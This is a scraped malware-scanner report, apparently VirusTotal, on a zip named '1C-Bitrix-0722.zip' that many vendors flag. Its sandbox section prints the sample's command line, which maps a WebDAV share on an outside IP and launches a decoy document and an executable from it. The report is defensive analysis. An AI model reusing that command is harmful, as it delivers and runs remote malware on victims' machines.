


29

/ 63

Community Score


 29/63 security vendors flagged this file as malicious

[Reanalyze](#)[Similar](#)[More](#)

a63376ee1dba76361df73338928e528ca5b20171ea74c245816...

Size

Last Analysis Date



1C-Bitrix-0722.zip

982 B

2 years ago

zip

- DETECTION
- DETAILS
- RELATIONS
- BEHAVIOR
- COMMUNITY3

[Join our Community](#) and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

☒ Display grouped sandbox reports

☒ DAS-Secu...  0  2  0  0  0  2

Activity Summary

[Download Artifacts](#)[Full Reports](#)[Help](#)

 **Detections**

NOT FOUND

 **IDS Rules**

NOT FOUND

 **Dropped Files**

NOT FOUND

 **Mitre Signatures**

3 MEDIUM

 **Sigma Rules**

NOT FOUND

 **Network comms**

1 HTTP1 IP


MITRE ATT&CK Tactics and Techniques

+ Defense EvasionTA0005


+ DiscoveryTA0007

Network Communication ⓘ

HTTP Requests

 OPTIONS http://164.92.205.182:80/

IP Traffic

 TCP 164.92.205.182:80






Behavior Similarity Hashes ⓘ

DAS-Security Orcas

47445719a0464cac402ee80921943280

Registry actions ⓘ

Registry Keys Opened


-  \REGISTRY\MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{1b49573e-53da-4f2b-86c0-88c415dc2a79}
-  \REGISTRY\MACHINE\System\CurrentControlSet\Services\WinSock2\Parameters\AppId_Catalog
-  \REGISTRY\MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters
-  \REGISTRY\MACHINE\system\CurrentControlSet\services\LanmanWorkstation\NetworkProvider
-  \REGISTRY\MACHINE\system\CurrentControlSet\services\RDPNP\NetworkProvider



Process and service actions ⓘ





Processes Created

-  C:\Windows\system32\net.exe



Shell Commands

-  net use http://164.92.205.182



Processes Terminated

-  C:\Windows\System32\cmd.exe
-  C:\Windows\system32\net.exe

Services Opened

-  WebClient
-  dnsCache











Processes Tree

-  904 - "C:\Windows\System32\cmd.exe" /c net use http://164.92.205.182 && start /b \\164.92.205.182\DavWWWRoot\1C-Bitrix-0722.docx & start /b \\164.92.205.182\DavWWWRoot\lg.exe node.exe i
-  ↳ 2664 - net use http://164.92.205.182

Modules loaded ⓘ



Runtime Modules

-  C:\Windows\System32\FWPUCLNT.DLL
-  C:\Windows\System32\IPHLPAPI.DLL
-  C:\Windows\System32\KernelBase.dll
-  C:\Windows\System32\NapiNSP.dll
-  C:\Windows\System32\WSHTCPIP.DLL
-  C:\Windows\System32\advapi32.dll
-  C:\Windows\System32\api-ms-win-core-synch-l1-2-0.dll
-  C:\Windows\System32\apphelp.dll
-  C:\Windows\System32\browcli.dll
-  C:\Windows\System32\cfgmgr32.dll



Our product

Community

Tools

Premium Services

Documentation

[Contact Us](#)

[Join Community](#)

[API Scripts](#)

[Get a demo](#)

[Searching](#)

We use cookies and related technologies to remember user preferences, for security, to analyse our traffic, and to enable website functionality. Learn more about cookies in our [Privacy Notice](#).

[How it works](#)

[Contributors](#)

[Desktop Apps](#)

[Hunting](#)

[API v3 | v2](#)

[ToS | Privacy Notice](#)

[Top Users](#)

[Browser Extensions](#)

[Graph](#)

[Use Cases](#)

Ok

